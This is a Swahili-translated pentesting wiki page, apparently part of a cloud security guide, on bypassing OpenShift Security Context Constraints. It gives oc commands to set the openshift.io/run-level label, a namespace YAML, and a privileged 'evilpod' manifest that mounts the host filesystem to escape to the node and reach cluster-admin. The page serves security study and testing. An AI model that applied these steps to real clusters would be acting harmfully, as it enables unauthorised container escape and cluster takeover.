Openshift - SCC bypass

Reading time: 3 minutes

Mwandishi wa awali wa ukurasa huu ni Guillaume

Majina ya Privileged

Kwa default, SCC haitumiki kwenye miradi ifuatayo:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Ikiwa utaweka pods ndani ya mojawapo ya majina haya, hakuna SCC itakayotekelezwa, ikiruhusu kuwekwa kwa pods zenye mamlaka au kuunganisha mfumo wa faili wa mwenyeji.

Lebo ya Namespace

Kuna njia ya kuzima matumizi ya SCC kwenye pod yako kulingana na nyaraka za RedHat. Itabidi uwe na angalau moja ya ruhusa zifuatazo:

  • Kuunda Namespace na Kuunda Pod kwenye Namespace hii
  • Hariri Namespace na Kuunda Pod kwenye Namespace hii
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Lebo maalum openshift.io/run-level inawawezesha watumiaji kupita SCCs kwa programu. Kulingana na nyaraka za RedHat, wakati lebo hii inatumika, hakuna SCCs zinazotekelezwa kwenye pods zote ndani ya nafasi hiyo, kwa ufanisi kuondoa vizuizi vyovyote.

Ongeza Lebo

Ili kuongeza lebo katika nafasi yako:

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Ili kuunda namespace yenye lebo kupitia faili la YAML:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Sasa, pods zote mpya zilizoundwa kwenye namespace hazipaswi kuwa na SCC yoyote

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

Katika ukosefu wa SCC, hakuna vizuizi kwenye ufafanuzi wa pod yako. Hii inamaanisha kuwa pod mbaya inaweza kuundwa kwa urahisi ili kutoroka kwenye mfumo wa mwenyeji.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Sasa, imekuwa rahisi kupandisha mamlaka ili kufikia mfumo wa mwenyeji na hatimaye kuchukua udhibiti wa klasta nzima, kupata mamlaka ya 'cluster-admin'. Tafuta sehemu ya Node-Post Exploitation katika ukurasa ufuatao:

Attacking Kubernetes from inside a Pod

Lebo za kawaida

Zaidi ya hayo, kulingana na mipangilio ya lengo, lebo / maelezo maalum yanaweza kutumika kwa njia sawa na hali ya shambulio iliyopita. Hata kama haijafanywa kwa ajili yake, lebo zinaweza kutumika kutoa ruhusa, kuzuia au sio rasilimali maalum.

Jaribu kutafuta lebo maalum ikiwa unaweza kusoma baadhi ya rasilimali. Hapa kuna orodha ya rasilimali za kuvutia:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Orodha ya majina ya maeneo yenye mamlaka

bash
$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

Katika OpenShift, kama ilivyoonyeshwa hapo awali, kuwa na ruhusa ya kupeleka pod katika namespace yenye lebo ya openshift.io/run-level inaweza kusababisha kuchukuliwa kwa urahisi kwa klasta. Kutoka kwa mtazamo wa mipangilio ya klasta, kazi hii haiwezi kuzuiwa, kwani ni sehemu ya muundo wa OpenShift.

Hata hivyo, hatua za kupunguza kama Open Policy Agent GateKeeper zinaweza kuzuia watumiaji kuweka lebo hii.

Ili kupita sheria za GateKeeper na kuweka lebo hii ili kutekeleza kuchukuliwa kwa klasta, washambuliaji wangehitaji kubaini mbinu mbadala.

References